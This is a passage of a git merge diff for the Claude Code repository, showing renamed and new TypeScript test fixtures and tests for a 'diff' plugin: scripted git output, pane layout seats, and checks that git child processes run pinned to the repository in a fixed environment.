Skip to content

Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.

TypeScript

Merge remote-tracking branch 'origin/main' into poteat/diff-parity-2

poteat9d302a84deb8
diff --cc mods/diff/tests/backend/backend-of.test.ts
index 00000000,f9412243..d90ca3ab
mode 000000,100644..100644
--- a/mods/diff/tests/backend/backend-of.test.ts
+++ b/mods/diff/tests/backend/backend-of.test.ts
@@@ -1,0 -1,62 +1,66 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Backend from '../../hooks/backend'
+ import Fixtures from '../fixtures'
+
+ tier('builtin')
+
+ describe('backend-of', () => {
+ test('as published: no probes, so git or nothing', async () => {
+ const inGit = Fixtures.gitHostOf()
+ const outside = Fixtures.recordingBackendHostOf({})
+
+ expect((await Backend.backendOf(inGit.host, []))?.words.lister).toBe('git')
+ expect(await Backend.backendOf(outside.host, [])).toBeNull()
- expect([inGit.programs, outside.programs]).toEqual([['git'], ['git']])
++
++ expect([inGit.programs, outside.programs]).toEqual([
++ ['git', 'git'],
++ ['git'],
++ ])
+ })
+
+ test('a declining probe leaves a git working tree to git', async () => {
+ const declining = Fixtures.recordingProbeOf(null)
+ const inGit = Fixtures.gitHostOf()
+ const backend = await Backend.backendOf(inGit.host, [declining.probe])
+
+ expect(backend?.words.lister).toBe('git')
+ expect(backend?.baseModes).toEqual(['session', 'uncommitted', 'branch'])
+ expect(declining.asked).toEqual([inGit.host])
- expect(inGit.programs).toEqual(['git'])
++ expect(inGit.programs).toEqual(['git', 'git'])
+ })
+
+ test('a probe that answers pins before git is asked', async () => {
+ const inGit = Fixtures.gitHostOf()
+
+ const backend = await Backend.backendOf(inGit.host, [
+ Fixtures.recordingProbeOf('/home/me/src').probe,
+ ])
+
+ expect(backend?.repository).toEqual({ toplevel: '/home/me/src' })
+ expect(inGit.programs).toEqual([])
+ })
+
+ test('the probes are asked in order and the first answer pins', async () => {
+ const declining = Fixtures.recordingProbeOf(null)
+ const first = Fixtures.recordingProbeOf('/first')
+ const second = Fixtures.recordingProbeOf('/second')
+ const { host } = Fixtures.recordingBackendHostOf({})
+
+ const backend = await Backend.backendOf(host, [
+ declining.probe,
+ first.probe,
+ second.probe,
+ ])
+
+ expect(backend?.repository).toEqual({ toplevel: '/first' })
+
+ expect([
+ declining.asked.length,
+ first.asked.length,
+ second.asked.length,
+ ]).toEqual([1, 1, 0])
+
+ expect(declining.asked[0]).toBe(host)
+ })
+ })
diff --cc mods/diff/tests/fixtures/answers-of.ts
index 3977d0d4,00000000..d5ba319c
mode 100644,000000..100644
--- a/mods/diff/tests/fixtures/answers-of.ts
+++ b/mods/diff/tests/fixtures/answers-of.ts
@@@ -1,27 -1,0 +1,27 @@@
+/**
+ * Git's output in /work for each invocation whose command line holds the
+ * key, over the given `--numstat -z` records and per-file bodies.
+ *
+ * `status` lists the paths dirty at the start (the baseline: every path
+ * with a body unless given); a body is keyed by the `-- <path>` its diff is
+ * asked with.
+ *
+ * @param numstat the `--numstat -z` records, joined
+ * @param bodies each path's unified diff after its header
+ * @param dirty the paths `status` lists as dirty when the session starts
+ * @returns the answers by key
+ */
- export const repositoryOf = (
++export const answersOf = (
+ numstat: string,
+ bodies: Readonly<Record<string, string>>,
+ dirty: readonly string[] = Object.keys(bodies),
+): Readonly<Record<string, string>> => ({
+ 'rev-parse --path-format=absolute': '/work\n/work/.git\n/work/.git\n',
+ 'status --porcelain': dirty.map(path => ` M ${path}\0`).join(''),
+ 'HEAD --shortstat': ` ${Object.keys(bodies).length} files changed`,
+ 'HEAD --numstat': numstat,
+ 'ls-files': '',
+ ...Object.fromEntries(
+ Object.entries(bodies).map(([path, body]) => [`-- ${path}`, body]),
+ ),
+})
diff --cc mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts
index 00000000,9f739528..cbc7f862
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts
+++ b/mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts
@@@ -1,0 -1,11 +1,11 @@@
+ import Views from '../../../hooks/views'
+
+ /**
- * Whether a block's source is one a `Code` element may carry: at most
++ * Whether a source is one a `Code` element may carry: at most
+ * MAX_CODE_CHARS, counted in UTF-16 units as the engine counts.
+ *
- * @param block the block
++ * @param source the block's source
+ * @returns true when the source fits
+ */
-export const isWithinCodeCap = (block: Views.CodeBlock): boolean =>
- block.source.length <= Views.MAX_CODE_CHARS
++export const isWithinCodeCap = (source: string): boolean =>
++ source.length <= Views.MAX_CODE_CHARS
diff --cc mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts
index 00000000,03b38927..9666c194
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts
+++ b/mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts
@@@ -1,0 -1,12 +1,12 @@@
+ import type Views from '../../../hooks/views'
+ import { hunksOf } from './hunks-of.js'
+ import type { ParsedHunk } from './parsed-hunk.js'
+
+ /**
- * Every hunk a body's `Code` blocks hold, in drawing order.
++ * Every hunk a body's `Code` sources hold, in drawing order.
+ *
+ * @param body the file's body as `codeBlocksOf` cut it
- * @returns the hunks read back out of each block's source
++ * @returns the hunks read back out of each source
+ */
+ export const parsedHunksOf = (body: Views.CodeBody): ParsedHunk[] =>
- body.blocks.flatMap(block => hunksOf(block.source))
++ body.sources.flatMap(hunksOf)
diff --cc mods/diff/tests/fixtures/diff-at.ts
index 00000000,00000000..43d8bff5
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/diff-at.ts
@@@ -1,0 -1,0 +1,15 @@@
++import type { CommandRunInput } from 'claude-code'
++
++import { DIFF } from './diff.js'
++
++/**
++ * The command typed under the fullscreen layout on a terminal so many
++ * columns wide, as its presentation tells the hooks.
++ *
++ * @param columns the terminal's width
++ * @returns the command's input
++ */
++export const diffAt = (columns: number): CommandRunInput => ({
++ ...DIFF,
++ presentation: { isFullscreen: true, columns },
++})
diff --cc mods/diff/tests/fixtures/in-repository.ts
index f3671078,1c123936..43101901
--- a/mods/diff/tests/fixtures/in-repository.ts
+++ b/mods/diff/tests/fixtures/in-repository.ts
@@@ -8,21 -8,25 +8,27 @@@ import { REPOSITORY } from './repositor
import { startsSession } from './starts-session.js'
/**
- * A session in /work (REPOSITORY), keeping each git run and each pane
- * opened or closed.
+ * A session in a repository git answers for from a script (REPOSITORY, in
+ * /work, when none is given), keeping what the plugin does there.
*
- * The store starts empty, the clock at 0, and the engine draws the hint.
- * Kept: each git run, pane opened or closed, and status line. The clock
++ * Kept: each git run, ring move, pane opened or closed, status line. The clock
+ * starts at 0 and the engine draws the hint. A test that rewrites the
+ * script between calls changes what git answers next.
*
* @param on the test's `on`
- * @param answers git's output by invocation key; one changed file when absent
- * @returns the runs, the panes opened and closed, and the session's clock
+ * @param script git's output for each invocation whose line holds the key
+ * @param stored what the plugin's store holds at the start
- * @returns the runs, the panes opened and closed, the statuses, the clock
++ * @returns the runs, the ring's moves, the panes opened and closed, the
++ * statuses, the clock
*/
export function inRepository(
on: On,
- answers: Readonly<Record<string, string>> = REPOSITORY,
+ script: Readonly<Record<string, string>> = REPOSITORY,
+ stored: Readonly<Record<string, unknown>> = {},
) {
const runs: Args<'process.run'>[] = []
+ const focused: Args<'ui.focus'>[] = []
+ const statuses: (string | undefined)[] = []
const opened = keeping<Args<'ui.open'>>()
const closed = keeping<Args<'ui.close'>>()
const clock = startsSession(on)
@@@ -30,21 -34,21 +36,34 @@@
on('process.run', ($, e) => {
runs.push(e)
- return { value: gitIn(e.argv, answers) }
+ return { value: gitIn(e.argv, script) }
})
+ on('ui.focus', (_engine, e) => {
+ focused.push(e)
+
+ return {}
+ })
+
+ on('ui.status', ($, e) => {
+ statuses.push(e.text)
+
+ return { value: undefined }
+ })
+
on('ui.open', opened.hook)
on('ui.close', closed.hook)
on('ui.invalidate', () => ({ value: undefined }))
on('ui.render', { component: 'PromptHint' }, () => HINT_DRAWN)
on('session.messages', () => ({ value: [] }))
- mock.store(on)
+ mock.store(on, stored)
- return { runs, focused, opened: opened.kept, closed: closed.kept, clock }
- return { runs, opened: opened.kept, closed: closed.kept, statuses, clock }
++ return {
++ runs,
++ focused,
++ opened: opened.kept,
++ closed: closed.kept,
++ statuses,
++ clock,
++ }
}
diff --cc mods/diff/tests/fixtures/index.ts
index 0f66f26e,4a0a76ec..1fb054e1
--- a/mods/diff/tests/fixtures/index.ts
+++ b/mods/diff/tests/fixtures/index.ts
@@@ -1,31 -1,44 +1,58 @@@
++export * from './answers-of.js'
+ export * from './ask'
+ export * from './backend-of'
-export * from './base-label-of'
+ export * from './big-lines.js'
+ export * from './branch-base-of'
export * from './builtin-holds.js'
+ export * from './checkout.js'
export * from './clear.js'
+ export * from './code-blocks-of'
+ export * from './datings-of'
+export * from './dialog-diff.js'
export * from './diff.js'
++export * from './diff-at.js'
+ export * from './edit-patch-of.js'
+ export * from './fetch-diff'
export * from './git-hung.js'
export * from './git-in.js'
+ export * from './head-key-of'
+ export * from './header-totals-of'
export * from './hint.js'
+ export * from './hint-at.js'
export * from './hint-drawn.js'
export * from './in-repository.js'
+export * from './inline-pane.js'
export * from './keeping.js'
+ export * from './kind-walk-of'
+export * from './many-file-count.js'
+export * from './many-files.js'
++export * from './mode-label-of'
+export * from './moved-in.js'
+export * from './narrow-inline-pane.js'
+ export * from './no-stats.js'
export * from './not-a-repository.js'
+export * from './old-files.js'
export * from './pane.js'
+ export * from './pane-view'
+ export * from './parse-file-diff'
+export * from './renamed.js'
export * from './repository.js'
- export * from './repository-of.js'
+ export * from './repository-of'
+export * from './ring-onto.js'
+ export * from './scripted'
export * from './session.js'
export * from './settle-ms.js'
export * from './starts-session.js'
- export * from './text-of.js'
+ export * from './todo-write-of.js'
+ export * from './tree'
+ export * from './truncate-start'
+ export * from './turn-diffs-of'
+export * from './two-files.js'
+ export * from './typed-prompt-of.js'
+ export * from './vs-main.js'
+export * from './wheel-over-list.js'
+export * from './wheel-tick.js'
+ export * from './worktree'
+ export * from './wrapped-lines'
export * as default from '.'
diff --cc mods/diff/tests/fixtures/many-files.ts
index 44246288,00000000..10961397
mode 100644,000000..100644
--- a/mods/diff/tests/fixtures/many-files.ts
+++ b/mods/diff/tests/fixtures/many-files.ts
@@@ -1,19 -1,0 +1,19 @@@
++import { answersOf } from './answers-of.js'
+import { MANY_FILE_COUNT } from './many-file-count.js'
- import { repositoryOf } from './repository-of.js'
+
+/**
+ * Git's output in /work where MANY_FILE_COUNT files changed a line each:
+ * more rows than the docked list shows at once.
+ */
- export const MANY_FILES = repositoryOf(
++export const MANY_FILES = answersOf(
+ Array.from(
+ { length: MANY_FILE_COUNT },
+ (_, at) => `1\t1\tfile${at}.ts\0`,
+ ).join(''),
+ Object.fromEntries(
+ Array.from({ length: MANY_FILE_COUNT }, (_, at) => [
+ `file${at}.ts`,
+ `@@ -1 +1 @@\n-const v = ${at}\n+const v = ${at + 1}\n`,
+ ]),
+ ),
+)
diff --cc mods/diff/tests/fixtures/mode-label-of/at-sha.ts
index 00000000,24cf3d9e..24cf3d9e
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/mode-label-of/at-sha.ts
+++ b/mods/diff/tests/fixtures/mode-label-of/at-sha.ts
diff --cc mods/diff/tests/fixtures/mode-label-of/index.ts
index 00000000,05eafc4c..05eafc4c
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/mode-label-of/index.ts
+++ b/mods/diff/tests/fixtures/mode-label-of/index.ts
diff --cc mods/diff/tests/fixtures/mode-label-of/one-file.ts
index 00000000,5fb68c32..5fb68c32
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/mode-label-of/one-file.ts
+++ b/mods/diff/tests/fixtures/mode-label-of/one-file.ts
diff --cc mods/diff/tests/fixtures/mode-label-of/working-tree.ts
index 00000000,5e6ba6e2..5e6ba6e2
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/mode-label-of/working-tree.ts
+++ b/mods/diff/tests/fixtures/mode-label-of/working-tree.ts
diff --cc mods/diff/tests/fixtures/moved-in.ts
index a7f210ed,00000000..43a239ca
mode 100644,000000..100644
--- a/mods/diff/tests/fixtures/moved-in.ts
+++ b/mods/diff/tests/fixtures/moved-in.ts
@@@ -1,14 -1,0 +1,14 @@@
- import { repositoryOf } from './repository-of.js'
++import { answersOf } from './answers-of.js'
+
+/**
+ * Git's output in /work where two old files differ from HEAD: one dirty
+ * before the session began, one moved into place since (not dirty then).
+ */
- export const MOVED_IN = repositoryOf(
++export const MOVED_IN = answersOf(
+ '1\t1\told.ts\0' + '1\t1\tmoved.ts\0',
+ {
+ 'old.ts': '@@ -1 +1 @@\n-a\n+b\n',
+ 'moved.ts': '@@ -1 +1 @@\n-c\n+d\n',
+ },
+ ['old.ts'],
+)
diff --cc mods/diff/tests/fixtures/pane-view/big-body-of.ts
index 00000000,00000000..ec03955a
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/big-body-of.ts
@@@ -1,0 -1,0 +1,24 @@@
++import type Git from '../../../hooks/git'
++import Limits from '../../../hooks/limits'
++import { LONG_LINE_CHARS } from './long-line-chars.js'
++
++/**
++ * A body of one hunk at the line cap whose every line is long: more text
++ * than the pane's whole body budget holds.
++ *
++ * @returns the body
++ */
++export const bigBodyOf = (): Git.FileHunks => ({
++ hunks: [
++ {
++ oldStart: 0,
++ newStart: 1,
++ lines: Array.from(
++ { length: Limits.MAX_LINES_PER_FILE },
++ (_, at) => `+const value${at} = ${'0'.repeat(LONG_LINE_CHARS)}`,
++ ),
++ },
++ ],
++ isTruncated: false,
++ isLarge: false,
++})
diff --cc mods/diff/tests/fixtures/pane-view/bodies-of.ts
index 00000000,00000000..aa614e68
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/bodies-of.ts
@@@ -1,0 -1,0 +1,14 @@@
++import type Git from '../../../hooks/git'
++import type PaneState from '../../../hooks/pane-state'
++
++/**
++ * The pane's read bodies holding one body under each of the given paths.
++ *
++ * @param body the body every path reads
++ * @param paths the files that have it
++ * @returns the bodies by path
++ */
++export const bodiesOf = (
++ body: Git.FileHunks,
++ ...paths: readonly string[]
++): PaneState.Bodies => new Map(paths.map(path => [path, body]))
diff --cc mods/diff/tests/fixtures/pane-view/config-detail-of.ts
index 00000000,abc466cb..a1982481
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/pane-view/config-detail-of.ts
+++ b/mods/diff/tests/fixtures/pane-view/config-detail-of.ts
@@@ -1,0 -1,20 +1,19 @@@
+ import type Views from '../../../hooks/views'
+ import { SMALL_BODY } from './small-body.js'
+
+ /**
- * A selected config file as the detail view takes it: untracked with no
- * body read, or tracked with a small body ready.
++ * A config file as the detail view takes it: untracked with no body read,
++ * or tracked with a small body ready.
+ *
+ * @param isUntracked whether the file is untracked
+ * @returns the detail model
+ */
+ export const configDetailOf = (isUntracked: boolean): Views.DetailModel => ({
+ words: { untrackedNoteOf: () => ['New file not yet staged.'] },
+ path: 'src/app/config.ts',
- renamedFrom: null,
++ displayPath: 'src/app/config.ts',
+ isUntracked,
+ isBinary: false,
- body: isUntracked ? null : SMALL_BODY,
- bodyState: isUntracked ? 'idle' : 'ready',
++ body: isUntracked ? undefined : SMALL_BODY,
+ isArmed: false,
+ })
diff --cc mods/diff/tests/fixtures/pane-view/dock-seat.ts
index 00000000,00000000..99856de7
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/dock-seat.ts
@@@ -1,0 -1,0 +1,10 @@@
++import type Views from '../../../hooks/views'
++import { VIEW_PANE } from './view-pane.js'
++
++/**
++ * VIEW_PANE's seat: docked beside the transcript on its 160-column terminal.
++ */
++export const DOCK_SEAT: Views.PaneSeat = {
++ placement: 'dock',
++ terminalColumns: VIEW_PANE.viewport?.columns ?? null,
++}
diff --cc mods/diff/tests/fixtures/pane-view/docks-pane.ts
index 00000000,b78b0323..bcc823e7
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/pane-view/docks-pane.ts
+++ b/mods/diff/tests/fixtures/pane-view/docks-pane.ts
@@@ -1,0 -1,35 +1,43 @@@
+ import type { On, RenderElement } from 'claude-code'
+ import type { Engine } from 'claude-code/testing'
+
+ import PaneState from '../../../hooks/pane-state'
+ import Views from '../../../hooks/views'
+ import { drawsPane } from './draws-pane.js'
+ import { VIEW_PANE } from './view-pane.js'
+
+ /**
- * The pane docked beneath the plugin over whichever model the test hands
- * next.
++ * The pane seated beneath the plugin over whichever model the test hands
++ * next: docked on a 160-column terminal unless the overrides say inline.
+ *
+ * Each call draws VIEW_PANE through the engine with `paneView` over that
+ * model and answers the tree the engine took.
+ *
+ * @param $ the test's `$`
+ * @param on the test's `on`
- * @param overrides kit members that differ from the ordinary ones
++ * @param overrides kit members and the seat that differ from the ordinary
+ * @returns draws the pane over a model
+ */
+ export function docksPane(
+ $: Engine,
+ on: On,
- overrides: Partial<Omit<Views.Kit, 'ui'>> = {},
++ overrides: Partial<Omit<Views.Kit, 'ui'> & Views.PaneSeat> = {},
+ ): (model: PaneState.PaneModel) => Promise<RenderElement> {
++ const {
++ placement = 'dock',
++ terminalColumns = VIEW_PANE.viewport?.columns ?? null,
++ ...kit
++ } = overrides
++
++ const seat: Views.PaneSeat = { placement, terminalColumns }
++
+ let model = PaneState.INITIAL_MODEL
+
- drawsPane(on, kit => Views.paneView(kit, model, 'dock'), overrides)
++ drawsPane(on, drawn => Views.paneView(drawn, model, seat), kit)
+
+ return next => {
+ model = next
+
+ return $.ui.render(VIEW_PANE)
+ }
+ }
diff --cc mods/diff/tests/fixtures/pane-view/index.ts
index 00000000,0e863ff3..3ae59bad
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/pane-view/index.ts
+++ b/mods/diff/tests/fixtures/pane-view/index.ts
@@@ -1,0 -1,23 +1,28 @@@
++export * from './big-body-of.js'
++export * from './bodies-of.js'
+ export * from './body-rows.js'
+ export * from './builtin-headline-row.js'
+ export * from './columns.js'
+ export * from './config-detail-of.js'
+ export * from './cramped-rows.js'
++export * from './dock-seat.js'
+ export * from './docked-pane.js'
+ export * from './docks-pane.js'
+ export * from './draws-pane.js'
+ export * from './long-line-chars.js'
+ export * from './long-path-segments.js'
++export * from './narrow-seat.js'
+ export * from './noop.js'
+ export * from './noop-actions-of.js'
+ export * from './row-of.js'
+ export * from './row-shape-of.js'
+ export * from './row-shapes-of.js'
+ export * from './small-body.js'
+ export * from './totals.js'
+ export * from './tracked.js'
+ export * from './turn-two.js'
+ export * from './view-pane.js'
+ export * from './vs-spoofed.js'
++export * from './whole-place.js'
+
+ export * as default from '.'
diff --cc mods/diff/tests/fixtures/pane-view/narrow-seat.ts
index 00000000,00000000..231d93e0
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/narrow-seat.ts
@@@ -1,0 -1,0 +1,11 @@@
++import Limits from '../../../hooks/limits'
++import type Views from '../../../hooks/views'
++
++/**
++ * A pane seated inline on a terminal one column short of the built-in
++ * panel's width.
++ */
++export const NARROW_SEAT: Views.PaneSeat = {
++ placement: 'inline',
++ terminalColumns: Limits.OPEN_MIN_COLUMNS - 1,
++}
diff --cc mods/diff/tests/fixtures/pane-view/noop-actions-of.ts
index 00000000,6ae384d2..8ced305a
mode 000000,100644..100644
--- a/mods/diff/tests/fixtures/pane-view/noop-actions-of.ts
+++ b/mods/diff/tests/fixtures/pane-view/noop-actions-of.ts
@@@ -1,0 -1,17 +1,17 @@@
+ import type Views from '../../../hooks/views'
+ import { noop } from './noop.js'
+
+ /**
+ * Pane actions that each do nothing, for a tree drawn only to be read.
+ *
+ * @returns the actions
+ */
+ export const noopActionsOf = (): Views.PaneActions => ({
+ selectFile: noop,
+ toggleNoise: noop,
+ togglePreSession: noop,
- chooseBase: noop,
++ scrollList: noop,
++ cycleBase: noop,
+ chooseSource: noop,
+ toggleAsk: noop,
- close: noop,
+ })
diff --cc mods/diff/tests/fixtures/pane-view/whole-place.ts
index 00000000,00000000..3e852f77
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/whole-place.ts
@@@ -1,0 -1,0 +1,13 @@@
++import type PaneState from '../../../hooks/pane-state'
++import { COLUMNS } from './columns.js'
++
++/**
++ * The docked pane's place in a box tall enough that its window holds every
++ * row a test's few files draw: nothing scrolled, the list at its top.
++ */
++export const WHOLE_PLACE: PaneState.PaneModel['place'] = {
++ top: 0,
++ listStart: 0,
++ columns: COLUMNS,
++ rows: 1_000,
++}
diff --cc mods/diff/tests/fixtures/renamed.ts
index 13661d9b,00000000..c16fa052
mode 100644,000000..100644
--- a/mods/diff/tests/fixtures/renamed.ts
+++ b/mods/diff/tests/fixtures/renamed.ts
@@@ -1,10 -1,0 +1,10 @@@
- import { repositoryOf } from './repository-of.js'
++import { answersOf } from './answers-of.js'
+
+/**
+ * Git's output in /work where one file was renamed inside its directory,
+ * its contents untouched.
+ */
- export const RENAMED = repositoryOf(
++export const RENAMED = answersOf(
+ '0\t0\t\0docs/notes.txt\0docs/renamed-notes.txt\0',
+ {},
+)
diff --cc mods/diff/tests/fixtures/two-files.ts
index 6e1e4ea2,00000000..a6c1801b
mode 100644,000000..100644
--- a/mods/diff/tests/fixtures/two-files.ts
+++ b/mods/diff/tests/fixtures/two-files.ts
@@@ -1,9 -1,0 +1,9 @@@
- import { repositoryOf } from './repository-of.js'
++import { answersOf } from './answers-of.js'
+
+/**
+ * Git's output in /work where two files changed, a hunk each.
+ */
- export const TWO_FILES = repositoryOf('1\t1\tapp.ts\0' + '2\t0\tlib.ts\0', {
++export const TWO_FILES = answersOf('1\t1\tapp.ts\0' + '2\t0\tlib.ts\0', {
+ 'app.ts': '@@ -1 +1 @@\n-const a = 1\n+const a = 2\n',
+ 'lib.ts': '@@ -3,0 +4,2 @@\n+export const b = 1\n+export const c = 2\n',
+})
diff --cc mods/diff/tests/git.test.ts
index 982f47f8,71ea05c5..78582f46
--- a/mods/diff/tests/git.test.ts
+++ b/mods/diff/tests/git.test.ts
@@@ -1,55 -1,40 +1,64 @@@
-import { describe, expect, test, tier } from 'claude-code/testing'
+import { describe, expect, mock, test, tier } from 'claude-code/testing'
+ import Git from '../hooks/git'
import Fixtures from './fixtures'
tier('builtin')
describe('git', () => {
- test('each git child runs pinned to /work, in C locale', async ($, on) => {
- const world = Fixtures.inRepository(on)
+ test('each git child names the pin, in the C locale', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
- await $.session.start(Fixtures.SESSION)
+ await $.session.start(Fixtures.WORKTREE_SESSION)
await $.command.run(Fixtures.DIFF)
await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
- await $.ui.press({ plugin: 'diff', key: 'ask' })
++ await $.ui.press({ plugin: 'diff', key: 'ask:.env' })
+ await world.clock.settle()
const [discovery, ...pinned] = world.runs
+ const diffs = pinned.filter(run => run.argv.includes('diff'))
expect(discovery?.argv).toContain('--show-toplevel')
expect(discovery?.init?.cwd).toBeUndefined()
- expect(pinned.length).toBeGreaterThan(0)
+ expect(diffs.length).toBeGreaterThanOrEqual(3)
+
+ for (const run of world.runs) {
+ expect(run.init?.env).toEqual(Git.GIT_CHILD_ENV)
+ }
for (const run of pinned) {
- expect(run.argv.slice(0, 3)).toEqual([
- 'git',
- '--git-dir=/work/.git',
- '--work-tree=/work',
- ])
+ expect(run.argv.slice(0, Fixtures.PINNED_LEAD.length)).toEqual(
+ Fixtures.PINNED_LEAD,
+ )
- expect(run.init).toMatchObject({ cwd: '/work', env: { LC_ALL: 'C' } })
+ expect(run.init).toMatchObject({ cwd: '/main/wt' })
}
+
+ expect(world.runs.some(run => run.argv.includes('config'))).toBe(false)
})
+
+ test('a file moved in since the start is session work', async ($, on) => {
+ const clock = Fixtures.startsSession(on, Fixtures.SETTLE_MS)
+
+ on('process.run', ($, e) => ({
+ value: Fixtures.gitIn(e.argv, Fixtures.MOVED_IN),
+ }))
+
+ on('ui.open', () => ({ value: undefined }))
+ on('ui.invalidate', () => ({ value: undefined }))
+ on('session.messages', () => ({ value: [] }))
+ Fixtures.oldFiles(on)
+ mock.store(on)
+
+ await $.session.start(Fixtures.SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await clock.advance(Fixtures.SETTLE_MS)
+
+ const drawn = Fixtures.textOf(await $.ui.render(Fixtures.PANE))
+
+ expect(drawn).toContain('1 file changed +1 -1')
+ expect(drawn).toContain('moved.ts')
+ expect(drawn).toContain('+1 file edited before this session (show)')
+ })
})
diff --cc mods/diff/tests/git/fetch-diff.test.ts
index 00000000,9a4c9d56..b9cb7bbe
mode 000000,100644..100644
--- a/mods/diff/tests/git/fetch-diff.test.ts
+++ b/mods/diff/tests/git/fetch-diff.test.ts
@@@ -1,0 -1,544 +1,545 @@@
+ import type { ProcessRunResult } from 'claude-code'
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Git from '../../hooks/git'
+ import Limits from '../../hooks/limits'
+ import Fixtures from '../fixtures'
+
+ tier('builtin')
+
+ describe('fetch-diff', () => {
+ const HALF_CAP_RECORDS = Limits.HOST_OUTPUT_CAP_BYTES / 2
+ const NEAR_CAP_RECORDS = HALF_CAP_RECORDS - 2
+
+ type Script = Record<string, ProcessRunResult>
+ type Listing = readonly (readonly [string, Git.EntryKind])[]
+ type ScriptedDeps = Git.GitDeps & Pick<Fixtures.ScriptedGit, 'argvs'>
+
+ const listingOf = (entries: Listing): ReadonlyMap<string, Git.EntryKind> =>
+ new Map(entries)
+
+ function depsOf(
+ script: Script,
+ overrides: Partial<Git.GitDeps> = {},
+ ): ScriptedDeps {
+ const scripted = Fixtures.scriptedGitOf(script)
+
+ return {
+ argvs: scripted.argvs,
+ run: scripted.run,
+ repository: Fixtures.FETCH_REPOSITORY,
+ mtimeOf: () => Promise.resolve(Fixtures.DURING_SESSION_MS),
+ entryKindsOf: () => Promise.resolve(listingOf(Fixtures.FILES_LISTING)),
+ sessionStartMs: Fixtures.GIT_SESSION_START_MS,
+ onBranchBase: () => undefined,
+ ...overrides,
+ }
+ }
+
+ const unbornScriptOf = (): Script => ({
+ [Fixtures.VS_HEAD]: Fixtures.UNSCRIPTED,
+ 'rev-parse --verify --quiet HEAD': Fixtures.PROBE_MISSED,
+ '--cached --shortstat': Fixtures.ok(Fixtures.ONE_STAGED),
+ 'ls-files': Fixtures.ok(),
+ })
+
+ const datedBefore =
+ (suffix: string): Git.GitDeps['mtimeOf'] =>
+ path =>
+ Promise.resolve(
+ path.endsWith(suffix)
+ ? Fixtures.BEFORE_SESSION_MS
+ : Fixtures.DURING_SESSION_MS,
+ )
+
+ const trackedNoUntrackedOf = (): Script => ({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ const onFeatureNoUntrackedOf = (): Script => ({
+ 'rev-parse --abbrev-ref HEAD': Fixtures.ok('feature\n'),
+ 'symbolic-ref --short refs/remotes/origin/HEAD':
+ Fixtures.ok('origin/main\n'),
+ 'show-ref --verify --quiet refs/remotes/origin/main': Fixtures.ok(),
+ 'merge-base HEAD origin/main': Fixtures.ok(`${Fixtures.ORIGIN_BASE}\n`),
+ 'rev-parse HEAD': Fixtures.ok(`${Fixtures.FEATURE_HEAD}\n`),
+ [`${Fixtures.ORIGIN_BASE} --shortstat`]: Fixtures.ok(Fixtures.ONE_STAGED),
+ [`${Fixtures.ORIGIN_BASE} --numstat`]: Fixtures.ok('3\t0\ta.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ const unbornNoUntrackedOf = (): Script => ({
+ ...unbornScriptOf(),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts\0'),
+ 'ls-files': Fixtures.GIT_TIMED_OUT,
+ })
+
+ test('session mode: rows tagged by mtime, untracked merged', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(
+ ' 2 files changed, 3 insertions(+), 1 deletion(-)',
+ ),
+ 'HEAD --numstat': Fixtures.ok('2\t1\told.ts\x001\t0\tnew.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0'),
+ },
+ { mtimeOf: datedBefore('old.ts') },
+ ),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(data?.repository).toEqual(Fixtures.FETCH_REPOSITORY)
+ expect(data?.baseRef).toBe('HEAD')
+ expect(data?.isUnborn).toBe(false)
+
+ expect(data?.stats).toEqual({
+ filesCount: 3,
+ linesAdded: 3,
+ linesRemoved: 1,
+ })
+
+ expect(
+ data?.files.map(file => [file.path, file.isPreSession, file.isUntracked]),
+ ).toEqual([
+ ['old.ts', true, false],
+ ['new.ts', false, false],
+ ['scratch.txt', false, true],
+ ])
+ })
+
+ test('every diff spawn carries the pinned leading argv', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ })
+
+ await Git.fetchDiff(deps, 'uncommitted')
+
+ const diffs = deps.argvs.filter(argv => argv.includes('diff'))
+
+ expect(deps.argvs.every(argv => argv[0] === '--no-optional-locks')).toBe(
+ true,
+ )
+
+ expect(diffs).toHaveLength(2)
+
